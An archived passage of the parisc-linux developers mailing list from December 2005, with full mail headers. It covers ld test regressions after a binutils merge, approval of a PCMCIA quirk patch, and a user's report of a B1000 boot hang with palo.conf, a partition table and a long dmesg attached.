	Tue, 13 Dec 2005 15:08:51 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18683-06 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 13 Dec 2005 15:08:50 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 9CF797D648
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 13 Dec 2005 15:08:50 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	jBDM8mil013385; Tue, 13 Dec 2005 17:08:49 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id jBDM8mNG013383;
	Tue, 13 Dec 2005 17:08:48 -0500 (EST)
In-Reply-To: <20051213213825.GY1298@baldric.uwo.ca> from "Carlos O'Donell" at
	Dec 13, 2005 04:38:26 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: LCPtYwpCeSEkf76WZHQhaXN1IGRvb0BL
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23253

> I merged a new binutils into cvs.parisc-linux.org. Anyone want to take a
> look at why we have 38 regressions in ld?
> 
> This is probably my fault :)

cvs:

                === ld Summary ===

# of expected passes            215
# of expected failures          41
/home/dave/binutils-2.16.91/objdir/ld/ld-new 20051213

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [PATCH] PCMCIA: Disable probing on parisc
Date: Tue, 13 Dec 2005 15:28:15 -0700
Lines: 18
Approved: news@gmane.org
Message-ID: <20051213222815.GA22809@colo.lackof.org>
References: <20051204060423.GA12355@quicksilver.road.mcmartin.ca> <20051212073003.GA15901@colo.lackof.org> <1134398708.9994.3.camel@mulgrave> <200512122217.16864.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623953 17371 80.91.229.3 (22 Nov 2014 02:39:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:13 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
 James Bottomley <James.Bottomley@steeleye.com>,
 Grant Grundler <grundler@parisc-linux.org>,
 Russell King <rmk+pcmcia@arm.linux.org.uk>,
 linux-pcmcia@lists.infradead.org,
 Kyle McMartin <kyle@parisc-linux.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: - Wed Jul 02 21:27:26 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <grundler@lackof.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 13 Dec 2005 22:19:51 -0000
Original-Received: from colo.lackof.org (EHLO colo.lackof.org) [198.49.126.79]
  by mx0.gmx.net (mx078) with SMTP; 13 Dec 2005 23:19:51 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 5341F360002;
	Tue, 13 Dec 2005 15:28:17 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03461-04; Tue, 13 Dec 2005 15:28:15 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id DE34A360001; Tue, 13 Dec 2005 15:28:15 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <200512122217.16864.deller@gmx.de>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: UCztY71FeSEkPL6WZHQhaXN1IGRvb8DH
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23254

On Mon, Dec 12, 2005 at 10:17:16PM +0100, Helge Deller wrote:
> I agree. As long as we don't know if this is a generic cirrus/parisc/dino problem I think it's not good to add code to the generic drivers/pci.c driver.
> Furthermore, since I don't think there are many people out there who have the possibility to test cirrus pcmcia hw on parisc I would propose to put the (temporary) quirk in drivers/parisc/dino.c instead.
> Attached is a patch for this parisc-specific quirk which works for me. 
> Ok to commit to the local parisc CVS tree ?

yes - please do.

> Helge
> 
> BTW, I tested the orinoco_cs and ide_cs drivers. Both worked like a charm out of the box on my tadpole laptop (B160L) :-)

Very cool :)

thanks,
grant



From - Thu Nov 08 21:34:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Merged new binutils.
Date: Tue, 13 Dec 2005 19:46:44 -0500
Lines: 27
Approved: news@gmane.org
Message-ID: <20051214004643.GZ1298@baldric.uwo.ca>
References: <20051213213825.GY1298@baldric.uwo.ca>
	<200512132208.jBDM8mNG013383@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623954 17379 80.91.229.3 (22 Nov 2014 02:39:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:14 +0000 (UTC)
Cc: tausq@debian.org,
 parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:26 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 14 Dec 2005 00:47:32 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx082) with SMTP; 14 Dec 2005 01:47:32 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C13D57D758;
	Tue, 13 Dec 2005 17:47:28 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19511-08; Tue, 13 Dec 2005 17:47:28 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 244FD7D759;
	Tue, 13 Dec 2005 17:47:28 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 63B327D754
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 13 Dec 2005 17:47:25 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19259-10 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 13 Dec 2005 17:47:24 -0700 (MST)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id C269D7D750
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 13 Dec 2005 17:47:24 -0700 (MST)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1EmKn6-00021X-00; Tue, 13 Dec 2005 19:46:44 -0500
Content-Disposition: inline
In-Reply-To: <200512132208.jBDM8mNG013383@hiauly1.hia.nrc.ca>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (11% Sync Ratio [=.........])
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 8w7tYyB9eSEkIL6WZHQhaXN1IGRvbwAw
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23255

On Tue, Dec 13, 2005 at 05:08:48PM -0500, John David Anglin wrote:
> > I merged a new binutils into cvs.parisc-linux.org. Anyone want to take a
> > look at why we have 38 regressions in ld?
> > 
> > This is probably my fault :)
> 
> cvs:
> 
>                 === ld Summary ===
> 
> # of expected passes            215
> # of expected failures          41
> /home/dave/binutils-2.16.91/objdir/ld/ld-new 20051213

Oh wow... that's CVS?

I guess we have something we need to fix. ld doesn't bootstrap properly
so it's a pretty serious buglet somewhere.

c.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Heiner991@gmx.de
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] B1000 freeze after sym0:
Date: Wed, 14 Dec 2005 13:16:21 +0100 (MET)
Lines: 312
Approved: news@gmane.org
Message-ID: <17461.1134562581@www66.gmx.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623954 17385 80.91.229.3 (22 Nov 2014 02:39:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:14 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:26 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 14 Dec 2005 12:16:35 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx077) with SMTP; 14 Dec 2005 13:16:35 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4DD9E7D759;
	Wed, 14 Dec 2005 05:16:29 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22424-08; Wed, 14 Dec 2005 05:16:29 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0BD677D763;
	Wed, 14 Dec 2005 05:16:28 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 147737D758
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 14 Dec 2005 05:16:24 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22424-05 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 14 Dec 2005 05:16:23 -0700 (MST)
Original-Received: from mail.gmx.net (mail.gmx.de [213.165.64.21])
	by free.linux.hp.com (Postfix) with SMTP id BC6577D754
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 14 Dec 2005 05:16:22 -0700 (MST)
Original-Received: (qmail 24833 invoked by uid 0); 14 Dec 2005 12:16:21 -0000
Original-Received: from 212.201.18.2 by www66.gmx.net with HTTP;
	Wed, 14 Dec 2005 13:16:21 +0100 (MET)
X-Priority: 3 (Normal)
X-Authenticated: #1529542
X-Mailer: WWW-Mail 1.6 (Global Message Exchange)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: dGjSYytueSEkP76WZHQhaXN1IGRvb4Bx
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23256

Hi!

I installed Debian 3.1_r0 on my B1000, but now i got problems at boot.
The machine hangs after the following message:

[...]
NET: Registered protocol family 1
sym0: <896> rev 0x4 at pci 0000:00:0f.0 irq 65
sym0: No NVRAM, ID 7, Fast-40, SE, parity checking

After that it does not react to any keyboard input, even the power button
doesn't work, i have to pull the power cord.

The strange thing is: if i search for bootable devices in the boot menu, and
select the harddrive (boot p1), everything works fine and the machine boots
to shell. I want to use the B1000 without keyboard an monitor, so this is
not an option an on every boot.

Any suggestions? Perhaps a few PALO options i dont know?

Thanks in advance,
  Oliver


Attached: /etc/palo.conf, partition table, dmesg from a working boot

/etc/palo.conf
--commandline=2/vmlinux root=/dev/sda4 initrd=2/initrd.img HOME=/
--recoverykernel=/boot/vmlinux-2.6.8-2-32-smp
--init-partitioned=/dev/sda

fdisk /dev/sda -l
Disk /dev/sda: 9100 MB, 9100044288 bytes
255 heads, 63 sectors/track, 1106 cylinders
Units = cylinders of 16065 * 512 = 8225280 bytes

   Device Boot      Start         End      Blocks   Id  System
/dev/sda1   *           1           4       32098+  f0  Linux/PA-RISC boot
/dev/sda2               5           8       32130   83  Linux
/dev/sda3            1045        1106      498015   82  Linux swap /Solaris
/dev/sda4               9        1044     8321670   83  Linux

Partition table entries are not in disk order

dmesg:
Linux version 2.6.8-2-32-smp (kyle@caradhras) (gcc version 3.3.5 (Debian
1:3.3.5-7)) #1 SMP Mon Feb 7 22:19:10 EST 2005
FP[0] enabled: Rev 1 Model 16
The 32-bit Kernel has started...
Determining PDC firmware type: System Map.
model 00005bc0 00000481 00000000 00000002 7802fefc 100000f0 00000008
000000b2 000000b2
vers  00000203
CPUID vers 17 rev 7 (0x00000227)
capabilities 0x3
model 9000/785/B1000
Total Memory: 256 Mb
initrd: 1fb29000-1ffee000
initrd: reserving 0fb29000-0ffee000 (mem_max 10000000)
On node 0 totalpages: 65536
  DMA zone: 65536 pages, LIFO batch:16
  Normal zone: 0 pages, LIFO batch:1
  HighMem zone: 0 pages, LIFO batch:1
LCD display at f05d0008,f05d0000 registered
SMP: bootstrap CPU ID is 0
Built 1 zonelists
Kernel command line: root=/dev/sda4 HOME=/ console=tty0 sti=10/6/2/0
sti_font=VGA8x16 TERM=linux palo_kernel=2/vmlinux
PID hash table entries: 16 (order 4: 128 bytes)
Console: colour dummy device 160x64
Dentry cache hash table entries: 65536 (order: 6, 262144 bytes)
Inode-cache hash table entries: 32768 (order: 5, 131072 bytes)
Memory: 262144k available
Calibrating delay loop... 598.01 BogoMIPS
Security Scaffold v1.0.0 initialized
Capability LSM initialized
Mount-cache hash table entries: 512 (order: 0, 4096 bytes)
Brought up 1 CPUs
CPU0:  online
 domain 0: span ffffffff
  groups: 00000001 00000002 00000004 00000008 00000010 00000020 00000040
00000080 00000100 00000200 00000400 00000800 00001000 00002000 00004000
00008000 00010000 00020000 00040000 00080000 00100000 00200000 00400000
00800000 01000000 02000000 04000000 08000000 10000000 20000000 40000000
80000000
CPU1: offline
 domain 0: span ffffffff
  groups: 00000002 00000004 00000008 00000010 00000020 00000040 00000080
00000100 00000200 00000400 00000800 00001000 00002000 00004000 00008000
00010000 00020000 00040000 00080000 00100000 00200000 00400000 00800000
01000000 02000000 04000000 08000000 10000000 20000000 40000000 80000000
00000001
CPU2: offline
 domain 0: span ffffffff
  groups: 00000004 00000008 00000010 00000020 00000040 00000080 00000100
00000200 00000400 00000800 00001000 00002000 00004000 00008000 00010000
00020000 00040000 00080000 00100000 00200000 00400000 00800000 01000000
02000000 04000000 08000000 10000000 20000000 40000000 80000000 00000001
00000002

[message CPU3 - CPU31 cut]

checking if image is initramfs...it isn't (ungzip failed); looks like an
initrd
NET: Registered protocol family 16
EISA bus registered
Searching for devices...
Found devices:
1. Astro BC Runway Port at 0xfed00000 [10] { 12, 0x0, 0x582, 0x0000b }
2. Elroy PCI Bridge at 0xfed30000 [10/0] { 13, 0x0, 0x782, 0x0000a }
3. Elroy PCI Bridge at 0xfed32000 [10/1] { 13, 0x0, 0x782, 0x0000a }
4. Elroy PCI Bridge at 0xfed38000 [10/4] { 13, 0x0, 0x782, 0x0000a }
5. Elroy PCI Bridge at 0xfed3c000 [10/6] { 13, 0x0, 0x782, 0x0000a }
6. AllegroLow W at 0xfffa0000 [32] { 0, 0x0, 0x5bc, 0x00004 }
7. Memory at 0xfed10200 [49] { 1, 0x0, 0x087, 0x00009 }
CPU(s): 1 x PA8500 (PCX-W) at 300.000000 MHz
SBA found Astro 2.1 at 0xfed00000
lba version TR2.1 (0x2) found at 0xfed30000
WARNING: Ignoring enabled ELMMIO BASE 0xf8000000  SIZE 0xfc000000
PCI: Enabled native mode for NS87415 (pif=0x8f)
lba version TR2.1 (0x2) found at 0xfed32000
WARNING: Ignoring enabled ELMMIO BASE 0xf8000000  SIZE 0xfc000000
lba version TR2.1 (0x2) found at 0xfed38000
WARNING: Ignoring enabled ELMMIO BASE 0xf8000000  SIZE 0xfc000000
lba version TR2.1 (0x2) found at 0xfed3c000
WARNING: Ignoring enabled ELMMIO BASE 0xf8000000  SIZE 0xfc000000
iosapic: hpa not registered for 0000:03:02.0
SCSI subsystem initialized
TC classifier action (bugs to netdev@oss.sgi.com cc hadi@cyberus.ca)
STI GSC/PCI core graphics driver Version 0.9a
STI PCI graphic ROM found at f7000000 (2048 kB), fb at fa000000 (32 MB)
    id 2fc1066b-9a02587, conforms to spec rev. 8.09
    graphics card name: HPA4552A
stifb: 'HPA4552A' (id: 0x2fc1066b) not supported.
unwind_init: start = 0x103b5720, end = 0x103d6f20, entries = 8576
VFS: Disk quotas dquot_6.5.1
Dquot-cache hash table entries: 1024 (order 0, 4096 bytes)
devfs: 2004-01-31 Richard Gooch (rgooch@atnf.csiro.au)
devfs: boot_options: 0x0
Initializing Cryptographic API
SuperIO: Found NS87560 Legacy I/O device at 0000:00:0e.1 (IRQ 64)
SuperIO: Serial port 1 at 0x3f8
SuperIO: Serial port 2 at 0x2f8
SuperIO: Parallel port at 0x378
SuperIO: Floppy controller at 0x3f0
SuperIO: ACPI at 0x7e0
SuperIO: USB regulator enabled
Soft power switch enabled, polling @ 0xf0400804.
Generic RTC Driver v1.07
Serial: 8250/16550 driver $Revision: 1.90 $ 25 ports, IRQ sharing enabled
ttyS0 at I/O 0x3f8 (irq = 99) is a 16550A
ttyS1 at I/O 0x2f8 (irq = 100) is a 16550A
RAMDISK driver initialized: 16 RAM disks of 8192K size 1024 blocksize
sticon: Initializing STI text console.
Console: switching to colour STI console 160x64
mice: PS/2 mouse device common for all mice
HP SDC: No SDC found.
HP SDC MLC: Registering the System Domain Controller's HIL MLC.
HP SDC MLC: Request for raw HIL ISR hook denied
NET: Registered protocol family 2
IP: routing cache hash table of 512 buckets, 12Kbytes
TCP: Hash tables configured (established 4096 bind 6553)
RAMDISK: cramfs filesystem found at block 0
RAMDISK: Loading 4884 blocks [1 disk] into ram disk... done.
VFS: Mounted root (cramfs filesystem) readonly.
Freeing unused kernel memory: 344k freed
NET: Registered protocol family 1
sym0: <896> rev 0x4 at pci 0000:00:0f.0 irq 65
sym0: No NVRAM, ID 7, Fast-40, SE, parity checking
sym0: SCSI BUS has been reset.
scsi0 : sym-2.1.18k
Using anticipatory io scheduler
sym1: <896> rev 0x4 at pci 0000:00:0f.1 irq 65
sym1: No NVRAM, ID 7, Fast-40, LVD, parity checking
sym1: SCSI BUS has been reset.
scsi1 : sym-2.1.18k
  Vendor: QUANTUM   Model: ATLAS10K-9LVD     Rev: HP06
  Type:   Direct-Access                      ANSI SCSI revision: 03
sym1:6:0: tagged command queuing enabled, command queue depth 16.
scsi(1:0:6:0): Beginning Domain Validation
sym1:6: wide asynchronous.
sym1:6: FAST-40 WIDE SCSI 80.0 MB/s ST (25.0 ns, offset 31)
scsi(1:0:6:0): Domain Validation skipping write tests
scsi(1:0:6:0): Ending Domain Validation
usbcore: registered new driver hub
ohci_hcd: 2004 Feb 02 USB 1.1 'Open' Host Controller (OHCI) Driver (PCI)
ohci_hcd: block sizes: ed 64 td 64
ohci_hcd 0000:00:0e.2: National Semiconductor Corporation USB Controller
ohci_hcd 0000:00:0e.2: reset, control = 0x110
ohci_hcd 0000:00:0e.2: irq 97, pci mem f4007000
ohci_hcd 0000:00:0e.2: new USB bus registered, assigned bus number 1
ohci_hcd 0000:00:0e.2: Using NSC SuperIO setup
usb usb1: new device strings: Mfr=3, Product=2, SerialNumber=1
usb usb1: default language 0x0409
usb usb1: Product: National Semiconductor Corporation USB Controller
usb usb1: Manufacturer: Linux 2.6.8-2-32-smp ohci_hcd
usb usb1: SerialNumber: 0000:00:0e.2
usb usb1: hotplug
usb usb1: adding 1-0:1.0 (config #1, interface 0)
usb 1-0:1.0: hotplug
hub 1-0:1.0: usb_probe_interface
hub 1-0:1.0: usb_probe_interface - got id
hub 1-0:1.0: USB hub found
hub 1-0:1.0: 3 ports detected
hub 1-0:1.0: standalone hub
hub 1-0:1.0: ganged power switching
hub 1-0:1.0: no over-current protection
hub 1-0:1.0: power on to power good time: 0ms
hub 1-0:1.0: local power source is good
hub 1-0:1.0: enabling power on all ports
ohci_hcd 0000:00:0e.2: created debug files
ohci_hcd 0000:00:0e.2: OHCI controller state
ohci_hcd 0000:00:0e.2: OHCI 1.0, with legacy support registers
ohci_hcd 0000:00:0e.2: control 0x083 HCFS=operational CBSR=3
ohci_hcd 0000:00:0e.2: cmdstatus 0x00000 SOC=0
ohci_hcd 0000:00:0e.2: intrstatus 0x00000044 RHSC SF
ohci_hcd 0000:00:0e.2: intrenable 0x8000001a MIE UE RD WDH
ohci_hcd 0000:00:0e.2: hcca frame #0021
ohci_hcd 0000:00:0e.2: roothub.a 00001003 POTPGT=0 NOCP NDP=3
ohci_hcd 0000:00:0e.2: roothub.b 00000000 PPCM=0000 DR=0000
ohci_hcd 0000:00:0e.2: roothub.status 00008000 DRWE
ohci_hcd 0000:00:0e.2: roothub.portstatus [0] 0x00010301 CSC LSDA PPS CCS
ohci_hcd 0000:00:0e.2: roothub.portstatus [1] 0x00010301 CSC LSDA PPS CCS
ohci_hcd 0000:00:0e.2: roothub.portstatus [2] 0x00000100 PPS
usbcore: registered new driver usbkbd
drivers/usb/input/usbkbd.c: :USB HID Boot Protocol keyboard driver
usbcore: registered new driver hiddev
usbcore: registered new driver usbhid
drivers/usb/input/hid-core.c: v2.0:USB HID core driver
Linux Tulip driver version 1.1.13 (May 11, 2002)
tulip0: no phy info, aborting mtable build
tulip0:  MII transceiver #1 config 1200 status 7809 advertising 01e1.
ohci_hcd 0000:00:0e.2: GetStatus roothub.portstatus [0] = 0x00010301 CSC
LSDA PPS CCS
hub 1-0:1.0: port 1, status 0301, change 0001, 1.5 Mb/s
eth0: Digital DS21143 Tulip rev 65 at 0xf4008000, 00:10:83:CF:A6:DC, IRQ 66.
Uniform Multi-Platform E-IDE driver Revision: 7.00alpha2
ide: Assuming 33MHz system bus speed for PIO modes; override with idebus=xx
hub 1-0:1.0: debounce: port 1: total 100ms stable 100ms status 0x301
ohci_hcd 0000:00:0e.2: GetStatus roothub.portstatus [0] = 0x00100303 PRSC
LSDA PPS PES CCS
usb 1-1: new low speed USB device using address 2
usb 1-1: skipped 1 descriptor after interface
usb 1-1: new device strings: Mfr=1, Product=2, SerialNumber=0
usb 1-1: default language 0x0409
usb 1-1: Product: N43
usb 1-1: Manufacturer: Logitech
usb 1-1: hotplug
usb 1-1: adding 1-1:1.0 (config #1, interface 0)
usb 1-1:1.0: hotplug
usbhid 1-1:1.0: usb_probe_interface
usbhid 1-1:1.0: usb_probe_interface - got id
input: USB HID v1.00 Mouse [Logitech N43] on usb-0000:00:0e.2-1
ohci_hcd 0000:00:0e.2: GetStatus roothub.portstatus [1] = 0x00010301 CSC
LSDA PPS CCS
hub 1-0:1.0: port 2, status 0301, change 0001, 1.5 Mb/s
hub 1-0:1.0: debounce: port 2: total 100ms stable 100ms status 0x301
ohci_hcd 0000:00:0e.2: GetStatus roothub.portstatus [1] = 0x00100303 PRSC
LSDA PPS PES CCS
usb 1-2: new low speed USB device using address 3
usb 1-2: skipped 1 descriptor after interface
usb 1-2: skipped 1 descriptor after interface
usb 1-2: new device strings: Mfr=1, Product=2, SerialNumber=0
usb 1-2: default language 0x0409
usb 1-2: Product: USB Keyboard and Mouse
usb 1-2: Manufacturer: SILITEK
usb 1-2: hotplug
usb 1-2: adding 1-2:1.0 (config #1, interface 0)
usb 1-2:1.0: hotplug
usbkbd 1-2:1.0: usb_probe_interface
usbkbd 1-2:1.0: usb_probe_interface - got id
input: SILITEK USB Keyboard and Mouse on usb-0000:00:0e.2-2
usb 1-2: adding 1-2:1.1 (config #1, interface 1)
usb 1-2:1.1: hotplug
usbhid 1-2:1.1: usb_probe_interface
usbhid 1-2:1.1: usb_probe_interface - got id
input: USB HID v1.00 Mouse [SILITEK USB Keyboard and Mouse] on
usb-0000:00:0e.2-2
NS87415: IDE controller at PCI slot 0000:00:0e.0
NS87415: chipset revision 3
NS87415: 100% native mode on irq 103
    ide0: BM-DMA at 0x0a00-0x0a07, BIOS settings: hda:pio, hdb:pio
    ide1: BM-DMA at 0x0a08-0x0a0f, BIOS settings: hdc:pio, hdd:pio
hda: CD-532E-B, ATAPI CD/DVD-ROM drive
